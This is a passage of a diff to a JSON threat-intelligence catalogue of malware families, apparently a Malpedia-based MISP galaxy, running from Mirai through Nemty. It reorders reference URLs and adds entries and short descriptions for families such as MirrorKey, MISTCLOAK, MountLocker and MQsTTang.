"https://www.incapsula.com/blog/new-mirai-variant-ddos-us-college.html", + "https://unit42.paloaltonetworks.com/moobot-d-link-devices/", + "https://securelist.com/blog/research/77621/newish-mirai-spreader-poses-new-risks/", + "https://dev.azure.com/Mastadamus/Mirai%20Botnet%20Analysis/_wiki/wikis/Mirai-Botnet-Analysis.wiki/12/Anatomy-of-An-Mirai-Botnet-Attack", + "https://twitter.com/PhysicalDrive0/status/830070569202749440", "https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/", - "https://twitter.com/PhysicalDrive0/status/830070569202749440" + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/", + "https://www.incapsula.com/blog/new-mirai-variant-ddos-us-college.html", + "https://assets.virustotal.com/reports/2021trends.pdf" ], "synonyms": [], "type": [] @@ -32252,11 +34017,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorblast", - "https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies", "https://www.proofpoint.com/us/blog/threat-insight/whatta-ta-ta505-ramps-activity-delivers-new-flawedgrace-variant", "https://www.proofpoint.com/us/daily-ruleset-update-summary-20210924", - "https://threatresearch.ext.hp.com/mirrorblast-and-ta505-examining-similarities-in-tactics-techniques-and-procedures/", - "https://frsecure.com/blog/the-rebol-yell-new-rebol-exploit/" + "https://blog.morphisec.com/explosive-new-mirrorblast-campaign-targets-financial-companies", + "https://frsecure.com/blog/the-rebol-yell-new-rebol-exploit/", + "https://threatresearch.ext.hp.com/mirrorblast-and-ta505-examining-similarities-in-tactics-techniques-and-procedures/" ], "synonyms": [], "type": [] @@ -32264,6 +34029,19 @@ "uuid": "be347289-5ca5-4b49-b5ef-8443883736c1", "value": "MirrorBlast" }, + { + "description": "According to Trend Micro, this is a loader for win.transbox, used by threat actor Earth Yako.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorkey", + "https://www.trendmicro.com/en_us/research/23/b/invitation-to-secret-event-uncovering-earth-yako-campaigns.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7340174e-3ff7-4293-acd0-1a82433a7777", + "value": "MirrorKey" + }, { "description": "", "meta": { @@ -32297,6 +34075,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.misha", + "https://blog.bushidotoken.net/2022/11/detecting-and-fingerprinting.html", "https://bazaar.abuse.ch/sample/efab8bfe43de6edf96f9451a5a2cc15017cfc5c88f81b46b33e6ba5c7e2d7a7b/" ], "synonyms": [], @@ -32310,10 +34089,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mispadu", + "https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/", "https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/", "https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/mispadu-banking-trojan-resurfaces", - "https://seguranca-informatica.pt/ursa-trojan-is-back-with-a-new-dance/#.YyXEkaRBzIU" + "https://seguranca-informatica.pt/ursa-trojan-is-back-with-a-new-dance/#.YyXEkaRBzIU", + "https://blog.scilabs.mx/cyber-threat-profile-malteiro/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/mispadu-banking-trojan-resurfaces" ], "synonyms": [ "URSA" @@ -32323,6 +34104,20 @@ "uuid": "ffc9ffcc-24f4-4e60-ab02-a75b007359fa", "value": "Mispadu" }, + { + "description": "Mandiant associates this with UNC4191, this malware decrypts and runs DARKDEW.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mistcloak", + "https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia", + "https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "1e6bc052-73de-453d-ba6c-658c82fe21d4", + "value": "MISTCLOAK" + }, { "description": "", "meta": { @@ -32373,15 +34168,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "74bd8c09-73d5-4ad8-ab1f-e94a4853c936", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "6363cc2f-08f1-47a0-adbf-5cf19ea89ffd", "value": "MM Core" }, @@ -32411,7 +34197,7 @@ "value": "Mocton" }, { - "description": "", + "description": "According to PCrisk, ModernLoader, also known as Avatar Bot and AvatarLoader, is a malicious program that has minimalistic loader and RAT (Remote Access Trojan) functionalities.\r\n\r\nLoader-type malware is designed to infect devices with additional malicious programs, while RATs enable remote access/control over infected machines. ModernLoader is capable of executing basic commands and injecting malicious modules into systems.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.modern_loader", @@ -32443,9 +34229,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.modpipe", - "https://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/", "https://www.foregenix.com/blog/modpipe-malware-has-a-new-module-that-siphons-payment-card-data", - "https://www.kroll.com/en/insights/publications/cyber/modpipe-pos-malware-new-hooking-targets-extract-card-data" + "https://www.kroll.com/en/insights/publications/cyber/modpipe-pos-malware-new-hooking-targets-extract-card-data", + "https://www.welivesecurity.com/2020/11/12/hungry-data-modpipe-backdoor-hits-pos-software-hospitality-sector/" ], "synonyms": [], "type": [] @@ -32500,10 +34286,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.moker", - "https://breakingmalware.com/malware/moker-part-2-capabilities/", - "https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/", + "http://blog.ensilo.com/moker-a-new-apt-discovered-within-a-sensitive-network", "https://breakingmalware.com/malware/moker-part-1-dissecting-a-new-apt-under-the-microscope/", - "http://blog.ensilo.com/moker-a-new-apt-discovered-within-a-sensitive-network" + "https://breakingmalware.com/malware/moker-part-2-capabilities/", + "https://blog.malwarebytes.com/threat-analysis/2017/04/elusive-moker-trojan/" ], "synonyms": [], "type": [] @@ -32530,8 +34316,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mole", - "https://www.cert.pl/en/news/single/mole-ransomware-analysis-and-decryptor/", - "https://www.proofpoint.com/us/threat-insight/post/adgholas-malvertising-campaign-using-astrum-ek-deliver-mole-ransomware" + "https://www.proofpoint.com/us/threat-insight/post/adgholas-malvertising-campaign-using-astrum-ek-deliver-mole-ransomware", + "https://www.cert.pl/en/news/single/mole-ransomware-analysis-and-decryptor/" ], "synonyms": [], "type": [] @@ -32557,11 +34343,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.molerat_loader", - "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", - "http://www.clearskysec.com/iec/", "https://www.0ffset.net/reverse-engineering/malware-analysis/molerats-string-decryption/", + "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", "https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/", - "https://www.proofpoint.com/us/blog/threat-insight/new-ta402-molerats-malware-targets-governments-middle-east" + "https://www.proofpoint.com/us/blog/threat-insight/new-ta402-molerats-malware-targets-governments-middle-east", + "http://www.clearskysec.com/iec/" ], "synonyms": [], "type": [] @@ -32574,9 +34360,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.monero_miner", - "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/", "https://news.sophos.com/en-us/2021/10/24/node-poisoning-hijacked-package-delivers-coin-miner-and-credential-stealing-backdoor", - "https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/" + "https://www.welivesecurity.com/2017/09/28/monero-money-mining-malware/", + "https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux", + "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer/", + "https://asec.ahnlab.com/en/37526/" ], "synonyms": [ "CoinMiner" @@ -32586,6 +34374,19 @@ "uuid": "c57a4168-cd09-4611-a665-bbcede80f42b", "value": "Monero Miner" }, + { + "description": "A new ransomware gang hitting companies in worldwide firstly spotted by Zscaler.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.moneymessage", + "https://yoroi.company/research/money-ransomware-the-latest-double-extortion-group/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "07dff193-2fad-4de6-83ad-046c6b95be46", + "value": "Money Message" + }, { "description": "", "meta": { @@ -32596,15 +34397,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "aa3aa21f-bc4e-4fb6-acd2-f4b6de482dfe", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e0627961-fc28-4b7d-bb44-f937defa052a", "value": "mongall" }, @@ -32628,8 +34420,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.moonbounce", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/01/19115831/MoonBounce_technical-details_eng.pdf", "https://securelist.com/moonbounce-the-dark-side-of-uefi-firmware/105468/", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/01/19115831/MoonBounce_technical-details_eng.pdf", "https://www.binarly.io/posts/A_deeper_UEFI_dive_into_MoonBounce/index.html", "https://habr.com/ru/amp/post/668154/" ], @@ -32649,15 +34441,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "76ec1827-68a1-488f-9899-2b788ea8db64", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "8465177f-16c8-47fc-a4c8-f4c0409fe460", "value": "MoonWind" }, @@ -32666,12 +34449,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.moriagent", - "https://twitter.com/Timele9527/status/1272776776335233024", "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a", - "https://securelist.com/apt-trends-report-q3-2020/99204/", "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", - "https://live.paloaltonetworks.com/t5/custom-signatures/how-to-stop-mortiagent-malware-using-the-snort-rule/td-p/326590#", "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf", + "https://live.paloaltonetworks.com/t5/custom-signatures/how-to-stop-mortiagent-malware-using-the-snort-rule/td-p/326590#", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://twitter.com/Timele9527/status/1272776776335233024", "https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/" ], "synonyms": [], @@ -32705,13 +34488,26 @@ "uuid": "9de41613-7762-4a88-8e9a-4e621a127f32", "value": "Morphine" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mortalkombat", + "https://blog.talosintelligence.com/new-mortalkombat-ransomware-and-laplas-clipper-malware-threats/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ff3b11e4-3450-4db5-a2ed-5c45cd875330", + "value": "MortalKombat" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.morto", - "https://www.f-secure.com/weblog/archives/00002227.html", "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Worm:Win32/Morto.A", + "https://www.f-secure.com/weblog/archives/00002227.html", "http://contagiodump.blogspot.com/2011/08/aug-28-morto-tsclient-rdp-worm-with.html" ], "synonyms": [], @@ -32751,12 +34547,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mosquito", - "https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/", + "https://www.secureworks.com/research/threat-profiles/iron-hunter", + "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/", "https://www.recordedfuture.com/turla-apt-infrastructure/", "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", - "https://www.secureworks.com/research/threat-profiles/iron-hunter", + "https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html", "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf", - "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + "https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-0312.pdf" ], "synonyms": [], "type": [] @@ -32765,34 +34563,42 @@ "value": "Mosquito" }, { - "description": "", + "description": "According to BlackBerry, MountLocker is a Ransomware-as-a-Service (RaaS), active since July 2020\r\nThe MountLocker ransomware was updated during early November 2020 to broaden the targeting of file types and evade security software.\r\nVictim’s files are encrypted using ChaCha20, and file encryption keys are encrypted using RSA-2048.\r\nThe ransomware appears to be somewhat secure; there are no trivial weaknesses allowing for easy key recovery and decryption of data. MountLocker does however use a cryptographically insecure method for key generation that may be prone to attack.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mount_locker", - "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html", - "https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-joins-the-multi-million-dollar-ransom-game/", - "https://dissectingmalwa.re/between-a-rock-and-a-hard-place-exploring-mount-locker-ransomware.html", - "https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/", - "https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-now-targets-your-turbotax-tax-returns/", - "https://chuongdong.com/reverse%20engineering/2021/05/23/MountLockerRansomware/", - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://kienmanowar.wordpress.com/2021/08/04/quicknote-mountlocker-some-pseudo-code-snippets/", - "https://securityscorecard.pathfactory.com/research/quantum-ransomware", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.guidepointsecurity.com/mount-locker-ransomware-steps-up-counter-ir-capabilities/", - "https://news.sophos.com/en-us/2021/03/31/sophos-mtr-in-real-time-what-is-astro-locker-team/", - "https://www.bleepingcomputer.com/news/security/biotech-research-firm-miltenyi-biotec-hit-by-ransomware-data-leaked/", - "https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/", "https://intel471.com/blog/how-cybercriminals-create-turbulence-for-the-transportation-industry", - "https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-virtual-machines", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://github.com/Finch4/Malware-Analysis-Reports/tree/main/MountLocker", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://www.bleepingcomputer.com/news/security/biotech-research-firm-miltenyi-biotec-hit-by-ransomware-data-leaked/", "https://blogs.blackberry.com/en/2021/11/zebra2104", - "https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates" + "https://news.sophos.com/en-us/2021/03/31/sophos-mtr-in-real-time-what-is-astro-locker-team/", + "https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware", + "https://www.intezer.com/blog/malware-analysis/how-threat-actors-abuse-lnk-files/", + "https://blogs.blackberry.com/en/2020/12/mountlocker-ransomware-as-a-service-offers-double-extortion-capabilities-to-affiliates", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.guidepointsecurity.com/mount-locker-ransomware-steps-up-counter-ir-capabilities/", + "https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/", + "https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-joins-the-multi-million-dollar-ransom-game/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-virtual-machines", + "https://community.riskiq.com/article/47766fbd", + "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/", + "https://chuongdong.com/reverse%20engineering/2021/05/23/MountLockerRansomware/", + "https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/", + "https://securityscorecard.pathfactory.com/research/quantum-ransomware", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.bleepingcomputer.com/news/security/mount-locker-ransomware-now-targets-your-turbotax-tax-returns/", + "https://securityintelligence.com/posts/itg23-crypters-cooperation-between-cybercriminal-groups/", + "https://kienmanowar.wordpress.com/2021/08/04/quicknote-mountlocker-some-pseudo-code-snippets/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/", + "https://dissectingmalwa.re/between-a-rock-and-a-hard-place-exploring-mount-locker-ransomware.html", + "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html" ], "synonyms": [ + "DagonLocker", + "MountLocker", "QuantumLocker" ], "type": [] @@ -32817,8 +34623,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mozart", - "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-01-11-the-mozart-ram-scraper.md", - "https://securitykitten.github.io/2015/01/11/the-mozart-ram-scraper.html" + "https://securitykitten.github.io/2015/01/11/the-mozart-ram-scraper.html", + "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-01-11-the-mozart-ram-scraper.md" ], "synonyms": [], "type": [] @@ -32842,6 +34648,21 @@ "uuid": "2363dc9f-822a-4581-8d5f-1fc436e70621", "value": "MPKBot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mqsttang", + "https://www.welivesecurity.com/2023/03/02/mqsttang-mustang-panda-latest-backdoor-treads-new-ground-qt-mqtt/" + ], + "synonyms": [ + "QMAGENT" + ], + "type": [] + }, + "uuid": "aed28126-b8ab-4ab5-a2c6-89898fe689c9", + "value": "MQsTTang" + }, { "description": "Ransomware.", "meta": { @@ -32927,10 +34748,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.murofet", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group", "https://www.wired.com/2017/03/russian-hacker-spy-botnet/", - "https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf" ], "synonyms": [], "type": [] @@ -32972,11 +34793,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mydoom", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.malware-traffic-analysis.net/2018/12/19/index.html", "https://www.giac.org/paper/gcih/568/mydoom-dom-anlysis-mydoom-virus/106069", - "https://www.giac.org/paper/gcih/619/mydoom-backdoor/106503", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "http://ivanlef0u.fr/repo/madchat/vxdevl/papers/analysis/mydoom_b_analysis.pdf", - "https://www.malware-traffic-analysis.net/2018/12/19/index.html" + "https://www.giac.org/paper/gcih/619/mydoom-backdoor/106503" ], "synonyms": [ "Mimail", @@ -32992,12 +34813,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mykings_spreader", + "http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/", + "http://download.ahnlab.com/kr/site/library/[AhnLab]Analysis%20Report_MyKings%20Botnet.pdf", + "https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators", "https://sophos.files.wordpress.com/2019/12/mykings_report_final.pdf", "https://decoded.avast.io/janrubin/the-king-is-dead-long-live-mykings/", - "https://www.proofpoint.com/us/threat-insight/post/smominru-monero-mining-botnet-making-millions-operators", - "http://download.ahnlab.com/kr/site/library/[AhnLab]Analysis%20Report_MyKings%20Botnet.pdf", - "https://blog.talosintelligence.com/2020/07/valak-emerges.html", - "http://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/" + "https://blog.talosintelligence.com/2020/07/valak-emerges.html" ], "synonyms": [], "type": [] @@ -33012,9 +34833,10 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mylobot", "http://blog.talosintelligence.com/2017/10/threat-round-up-1020-1017.html", "https://www.deepinstinct.com/2018/06/20/meet-mylobot-a-new-highly-sophisticated-never-seen-before-botnet-thats-out-in-the-wild/", + "https://www.bitsight.com/blog/mylobot-investigating-proxy-botnet", "https://blogs.akamai.com/sitr/2021/01/detecting-mylobot-unseen-dga-based-malware-using-deep-learning.html", - "https://github.com/360netlab/DGA/issues/36", "https://blog.centurylink.com/mylobot-continues-global-infections/", + "https://github.com/360netlab/DGA/issues/36", "http://www.freebuf.com/column/153424.html" ], "synonyms": [ @@ -33059,10 +34881,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.n40", - "https://socprime.com/en/news/attackers-exploit-dll-hijacking-to-bypass-smartscreen/", - "https://www.slideshare.net/elevenpaths/n40-the-botnet-created-in-brazil-which-evolves-to-attack-the-chilean-banking-sector", "http://blog.en.elevenpaths.com/2018/05/new-report-malware-attacks-chilean.html", - "http://reversingminds-blog.logdown.com/posts/7807545-analysis-of-advanced-brazilian-banker-malware" + "https://socprime.com/en/news/attackers-exploit-dll-hijacking-to-bypass-smartscreen/", + "http://reversingminds-blog.logdown.com/posts/7807545-analysis-of-advanced-brazilian-banker-malware", + "https://www.slideshare.net/elevenpaths/n40-the-botnet-created-in-brazil-which-evolves-to-attack-the-chilean-banking-sector" ], "synonyms": [], "type": [] @@ -33087,11 +34909,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nachocheese", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239b", - "https://baesystemsai.blogspot.com/2017/02/lazarus-false-flag-malware.html", "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/pf/apt/rpt-apt38-2018.pdf", - "https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/" + "https://www.welivesecurity.com/2017/02/16/demystifying-targeted-malware-used-polish-banks/", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://baesystemsai.blogspot.com/2017/02/lazarus-false-flag-malware.html", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239b" ], "synonyms": [ "Cyruslish", @@ -33138,55 +34960,59 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.nanocore", - "https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/", - "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html", - "https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf", - "https://medium.com/@the_abjuri5t/nanocore-rat-hunting-guide-cb185473c1e0", - "https://community.riskiq.com/article/ade260c6", - "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", - "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", - "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", - "https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://assets.virustotal.com/reports/2021trends.pdf", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", - "https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA", - "https://medium.com/@M3HS1N/malware-analysis-nanocore-rat-6cae8c6df918", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://goggleheadedhacker.com/blog/post/11", - "https://medium.com/@mariohenkel/decrypting-nanocore-config-and-dump-all-plugins-f4944bfaba52?sk=00be46bc5bf99e8ab67369152ceb0332", - "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://www.ic3.gov/media/news/2020/200917-1.pdf", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/image-file-trickery-part-ii-fake-icon-delivers-nanocore/", - "https://malwareindepth.com/defeating-nanocore-and-cypherit/", - "https://www.zscaler.com/blogs/research/multistage-freedom-loader-used-spread-azorult-and-nanocore-rat", - "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", - "https://github.com/threatland/TL-TROJAN/tree/master/TL.RAT/RAT.Win.Nanocore", - "https://threatrecon.nshc.net/2019/09/19/sectorh01-continues-abusing-web-services/", - "https://zero2auto.com/2020/06/07/dealing-with-obfuscated-macros/", - "https://blog.talosintelligence.com/2022/01/nanocore-netwire-and-asyncrat-spreading.html", - "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", - "https://medium.com/@mariohenkel/decrypting-nanocore-config-and-dump-all-plugins-f4944bfaba52", - "https://intel471.com/blog/privateloader-malware", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.crowdstrike.com/blog/weaponizing-disk-image-files-analysis/", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://goggleheadedhacker.com/blog/post/11", + "https://www.ic3.gov/media/news/2020/200917-1.pdf", + "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", + "https://medium.com/@mariohenkel/decrypting-nanocore-config-and-dump-all-plugins-f4944bfaba52?sk=00be46bc5bf99e8ab67369152ceb0332", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html", + "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", + "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", "https://community.riskiq.com/article/24759ad2", - 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"https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.tesorion.nl/en/posts/nemty-update-decryptors-for-nemty-1-5-and-1-6/", - "https://github.com/albertzsigovits/malware-notes/blob/master/Nemty.md", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.bleepingcomputer.com/news/security/fake-paypal-site-spreads-nemty-ransomware/", - "https://www.bleepingcomputer.com/news/security/new-nemty-ransomware-may-spread-via-compromised-rdp-connections/", "https://www.bleepingcomputer.com/news/security/nemty-ransomware-gets-distribution-from-rig-exploit-kit/", "https://www.sentinelone.com/labs/nokoyawa-ransomware-new-karma-nemty-variant-wears-thin-disguise/", - "https://www.tesorion.nl/nemty-update-decryptors-for-nemty-1-5-and-1-6/", + "https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://github.com/albertzsigovits/malware-notes/blob/master/Nemty.md", + 